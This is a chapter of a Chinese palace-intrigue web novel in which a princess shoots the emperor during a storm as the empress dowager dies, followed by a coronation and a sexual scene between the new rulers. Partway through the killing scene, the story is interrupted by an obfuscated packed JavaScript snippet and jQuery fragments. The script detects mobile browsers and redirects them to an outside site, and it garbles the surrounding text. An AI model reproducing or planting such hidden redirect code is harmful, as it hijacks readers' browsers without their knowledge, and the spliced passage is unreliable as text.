回宫不久,外面就刮起大风,没多时,太阳就彻底西沉,天色迅速变暗,大风将树吹得歪倒,远处的黑云中滚动着雷电。
苏卿自回宫后就觉心烦意乱,听外面狂风作响,远处偶有雷鸣,手里枯燥的书更是看不进去。
抬头看一室木头人杵着,烛火昏昏,更觉胸中憋着股气。
索性丢了书,起身将窗推开。
初春还带着寒气的风尖啸着扑来,吹得人睁不开眼,窗下的桌案上的书与笔架被哗啦啦的抖动,最后被吹掉在地上。
她又顶着风把窗关上,披散着的发丝在这片刻间被吹成一个草窝。
烦躁地扒拉两下,对所有人说:“都出去。”
无一人动弹,宁静中,跪在捡纸笔的宫娥起身答:“太子殿下吩咐我等贴身侍候。”
两人尽职尽责的将东西放在桌上,又像木头般退到角落里站着。
“出去。”门外传来声音,沈穆庭跨过门槛进来“门关上。”
他随口吩咐。
一屋人静默屈膝,排着队有序倒退着从苏卿眼前消失,留在最后的人轻手轻脚地关了门。
一道雪亮的闪电后是一道震天动地的春雷,仿佛就在头顶上怒吼,她手边挂起的毛笔都颤了颤。
她忽想起沈月兰,她记得沈月兰幼年丧母后就一直害怕打雷。
“杜景河怎么说?”视线里出现沈穆庭的鞋履,苏卿转身抱手,后腰靠在案边,带了些不耐烦的语气,眼睛却不敢直视他。
她的手紧张地捏着桌角。
沈穆庭轻易不会与朝中重臣来往,尤其是明面上,这会引起张子奕的怀疑,除了让母子两人的关系更紧张没有任何益处。
他的视线黏在苏卿的脸上,想从她脸上看出些什么:“你很担心?”
苏卿没说话,偏过脸嗤笑一声,她依旧不敢看沈穆庭。两人离的太近了,她起身要走。
沈穆庭又逼近一步,将她挡在身体与桌面之间的狭小缝隙里。
苏卿终于抬眼看他,下三白的眼睛充满敌意,毫不避讳地直视他。
沈穆庭心里打了个突,沉寂着死去了很久的心重新感受到跃动的力量,眼前的人与那年挥舞着拳头的山野姑娘重叠。
“他说紫金寨里窝藏着外邦人。”服软的话自己就吐了出来。
苏卿背在身后捏着桌角的手指悄然放松:“是我师父在北边走生意时捡回来的小孩,就他一个。”
“你师父?”她身上的刺似乎收了回去,但全身依旧在抗拒他的靠近。
沈穆庭得寸进尺,一条退挤进她的身前。
苏卿低头扫了一眼,轻蔑想笑,就遂他的意,上挑起眉眼,嘴唇晃出桃色春风般的逗弄,修长的胳膊懒散地搭在他的肩膀上,双手在他脑后交叉,将人摁到自己面前。
“说起来,我初次见你,就是在紫金寨下的小土路上,太子孤身驾马,听说腿间的皮肉都磨破了?”
距离一再拉进,鼻尖碰着鼻尖,暧昧的气息越发浓稠。
大婚距今,两人相处的第三晚,房事一直拖延至今。
苏卿看着他脸边泛起的红潮,五指如蛇滑入他的后领,香露牛乳浸出来的皮肉比麂子腹部的皮还要柔软滑腻。
第一晚,他醉晕,第二晚,他假意要务繁忙。
苏卿欣赏着他眼底闪过一瞬间的迷离,愈发奇怪他不敢靠近自己的原因。
“殿下当时为何一人孤身出城?”她的声线像云雾般飘渺,一层层一叠叠如野狸诱人直白地吐露。
“殿下!”
门外大喊一声,外界的雨声风声人声一切被苏卿隔离在外的杂音与神志一块回来。
他抬起头,眼睛里一片清明,连同情动一块消失。
沈穆庭往后退了一步,两人之间的距离重新拉开。
外面不知何时下起大雨,噼里啪啦的雨点如同天上破了个洞,水泼洒下来。
“进来。”
房门推开,浑身湿透的内侍跪在门外,扣头跪地:“回殿下,宫里来了消息,说……太后病危!”
苏卿坐起身,眉头重重一跳。
同时接受到消息还有长公主府。
沈月兰的手紧攥住被角,胸腔剧烈起伏,因苍老而松弛的肌肤留有一条条细纹:“知道了,伺候我穿衣。”
她的声音依旧平静。
苏卿与沈穆庭赶到时沈月兰已经到了。
“姑母。”
“姑母。”
两人湿漉漉到了太后的寝宫,宫娥跪在两人身后埋首擦地。
苏卿随着沈穆庭一同问安,沈月兰正擦拭眼角的眼泪,声音哽咽:“快进去。”
床榻下站着跪着一屋子的人,苏卿随着沈穆庭粗略打了招呼,在众人分开的一条路中,随着他到了太后的塌前。
太后这会儿已经木了。
沈穆庭眼泪说来就来,膝行至床榻旁,双手颤颤巍巍地捧起太后枯树般的手:“皇祖母……”
床上这个枯瘦至连被褥的重量都难以承受的孱弱老人,干瘪的脸庞上一双眼珠缓缓转动看见沈穆庭。
方才太后不论见谁都是直着眼睛,一动不动,这会儿忽动了下眼珠,床边响起一阵此起彼伏的呼唤声。
苏卿随着沈穆庭跪在他后面,垂脸抹泪,这会儿悄悄抬头看去,看一屋子的悲痛,也更卖力地挤眼泪。
太后浑浊的眼珠转动着,扫过沈穆庭,向他身后看,口中发出“呃呃”的声音,被沈穆庭握着的手,艰难地伸出一只手指,指着什么方向。
一屋子的人顺着她手指的方向看去,沈月兰在那方向的辐射范围内,站了出来。
她的眼睛已抹的发红,丝帕的四个角湿透了三个角:“皇兄,让我单独与母后说说话罢。”
长公主沈月兰丧母后一直养在太后跟前,每每进宫也必要探望太后。
皇帝满脸的疲态,摆摆手:“都出去。”
一屋子的人都退出去,床前只留皇帝与沈月兰两人。
太后的有所指的手被沈月兰捏住,控制着压下去。
太后的眼睛依旧执着的看着那个方向。
沈月兰与皇帝沈正看向那个角落。
鎏金卧龟莲花纹五足香薰炉下码放着一个大箱子。
沈月兰擦擦泪:“那边放着太后陪嫁,我去打开看看。”
仿佛是为映证,太后喉咙里的‘咯咯’声愈发清晰,似乎马上就能开口说话了。
搬开香炉,揭开财布,沈月兰打开黑色的陪嫁箱子,弯下腰,从里面捧出一个琴盒子。
雨越下越大,外面忽劈下一道闪电,正劈在宫门口的大院子里,溅起一阵火花。
瞬间的白光照在沈月兰从容不迫的脸上,刺目的闪电之后是近在天边的闷雷。
皇帝不禁往紧闭的窗外看一眼,有些惴惴不安。
沈月兰捧着转过身来,脸上没抑制露出一丝笑:“母后是在找这个吧?”
五彩描金的孔雀纹琴盒。
沈月兰第一次看见它时是欧阳氏送给她母亲时,她借这副琴虚情假意。
如今,不过是一报还一报。
她将琴盒放下,背对着皇帝打开,一杆火铳静静地躺在里面。
忽有是惊雷乍响。
皇帝望向窗户,一晃神的功夫,转头看见沈月兰手里抱着一个奇形怪状的拐杖。
外面风雨大作,屋内的烛火摆动。
沈月兰脸上带着诡异的笑,拿着那个东西靠近太后:“你当初害死了我的至亲骨肉,如今……”
闪电从屋顶的云层里劈下,刺眼的白光夺去所有人的视线。
无需等待,雷声一同赶来,巨大的雷声在耳边炸开,整座宫殿也跟着颤抖。
这道雷电劈中太后这座宫殿,滂沱大雨里,屋脊被劈的焦黑,冒出屡屡青烟。
屋外众人的哭声凝滞住,面面相觑。
“不过是一报还一报。”沈月兰缓缓放下手铳。
闷雷阵阵,外面的云层里还酝酿着雷电。
皇帝的眼睛瞪着,嘴巴张开似乎准备说什么,而在额头正中,一个圆形的黑洞里流下一行刺目的白红。
太后大张着嘴,几乎要脱臼,缺漏牙齿的牙床坦露出来,舌头痉挛在喉咙眼里,口中的‘咯咯咯’卡着说不出话,最后梗着脖子伸着鹰勾般的枯手,僵死在榻上。
闷雷之中,皇帝脑袋被开了个洞,太后恶鬼般死不瞑目。
沈月兰心跳如鼓,高仰起下巴凝视两具尸体双目欲裂,面皮因高度兴奋而微微抽动。
狂风卷着大雨,倒豆子般砸在门窗上。
大风刮开了没上锁的窗户,大雨点砸到苏卿身上,她半边的衣服立马湿透。
里面骤然传来一声凄厉的惨叫,如同刺刀刮着砖石的声音被放大百倍,生生刺进所有人的耳朵里,给半夜里昏昏欲睡的人们炸的头皮欲裂。
太后的房门被大力撞开。
入目就是沈月兰揉扯着自己的头发,疯疯癫癫的往墙角缩,皇帝倒在地上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245418|160711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,脑袋下缓缓渗出血泊,太后死在床上。
众人一拥而进时她仍在嚎叫。
整个大殿,除了她的声音,寂静如死。
又是一道闪电劈下,又劈中院子里的一棵老树,燃起火星子又被大雨浇灭,焦黑的老树冒起白烟。
雷声轰鸣,没有人敢说话,没有人相信自己的眼睛,心里某种不详的猜测:
雷公降罪劈死恶人。
直至先皇与太后太后欧阳氏长达两个月的葬礼结束,先帝不贤不孝,被雷公劈死的谣言仍没止住。
太后居住的仁善宫从此成为不祥之地,被永久的封锁。
先皇的死来的突然,先皇与先太后的葬礼后,新帝的登基仅预备了十五天便简单举行,原定的三月中春闱也往后延至四月。
虽是简单苏卿也是跟着跑了三天,祭祖不说,还要祭天,还有百官朝拜,三天下来脖子都遭凤冠压粗了一圈。
春香伺候着苏卿取下龙凤花钗冠,小心放入托盘中,苏卿偏着头摘了耳朵上的珠子。
新皇身着衮冕,既衮衣、冕旒。冕旒垂珠十二,绶带与玄色衣袍向映和,长袍下裳绣着繁复的花纹,有日月星龙山雏鸡火等等。
苏卿松快了一脑袋的累赘,松了口气起身着人伺候更衣,转身看沈穆庭一身的物件已被卸的差不多了。
“今日长公主没来,”他坐到塌上,内侍跪地伺候他换鞋“你明日去看看。”
苏卿张开手,候在一旁的宫娥上前为她解下腰上的白玉双佩,又去了玄组双大绶,六彩玄黄,才能解去腰带,四个宫娥一块换着动手。
杜景河不日就要前往边疆,苏卿正想着寻些由头出去。
“行。”
她应的很随意,似乎并不放在心上。
沈穆庭本闭着眼睛靠在榻上的凭几小憩,身后一个宫娥正给他揉着脑袋,闻言幽幽睁开,定定看她许久,抬手说:“都出去。”
门被轻轻带上。
沈穆庭的脑袋歪着自己的肩膀上,忽闪的睫毛极其疲倦而轻缓地扇动了下:“过来。”
他像只晒太阳,晒累了的大猫:“她们摁的不行,你给我摁。”
褪了外衣,里面是轻便的内衫,她甩了鞋,踩上床榻,从沈穆庭身前绕到他身后,脚在他脸前划过。
坐到他身后,抽走凭几,沈穆庭熟练的把脑袋放在她大腿上,拱了拱,找了个舒适的位置,惬意地闭上眼,长长地吁出一阵鼻息。
苏卿自七岁时就开始习武,手不似姑娘的手,更像是男人的手,长而有力,手背上的血管清晰突起。
这些日连轴转里,沈穆庭已习惯躺在她怀里,就想幼时在母后的怀里……那是很久远的事。
自从十四岁后,张子奕把手伸向自己,她用很多复杂的东西禁锢住他。
那些东西,譬如爱、譬如愧疚,譬如不能言说的禁忌。
控制住他,把他抽干,他丢失了自己,像个提线木偶,只有在苏卿身边才能重新呼吸。
“你会去找杜景河,对么?”
他闭着眼睛,光透过眼皮,是炫目的粉红。
苏卿手指的力度依旧轻缓适中。
她没说话。
沈穆庭睁开眼就看见她的脸,高高在上犹如神祗。眼睛半合着看自己,嘴角紧绷,她的手灵巧而有力,随时可以带走任何人的性命,但此刻温柔地安抚他。
他伸手攀住她的手腕,五指贴上衣衫内的肌肤,近乎痴迷地奉上自己的唇。
阳光灿烂,五月初温暖的阳光撒在两人身上。
榻上胡乱撒着两条裤子。
沈穆庭唇瓣被啃噬后泛出水光色的月季色,双眸微眯水光滟敛,似迷醉似畅快。他的后脑勺抵在榻上,腰与后背拱成一座优美的桥,皮下的锁骨也变得粉嫩性感,雪白的肩颈泛着迷醉的粉。
两人的呼吸将周身的空气一起灼烧,运动中苏卿肩膀的衣衫滑落到手臂上,她一只手压在他的肩膀上,另一只手将最肥腻出捏着往上抬。
她在骑马,一匹可怜孤单,丢失自我的马。
四月底的春光,没有三月的料峭,不是六月的燥热,空气里恰到好处的温暖湿润。
苏卿深深呼出一口气,抬头看见袆衣被与衮衣撑开被一低一高的安置在衣架上。
袆衣是皇后在大礼中所穿戴的衣物是深青色的礼服,锈有翟之形,也就是两只张着翅膀的白腹锦鸡图案与其他彩绘图案。
倒也隆重,但与皇帝的衮衣放在一块就显得普通了些。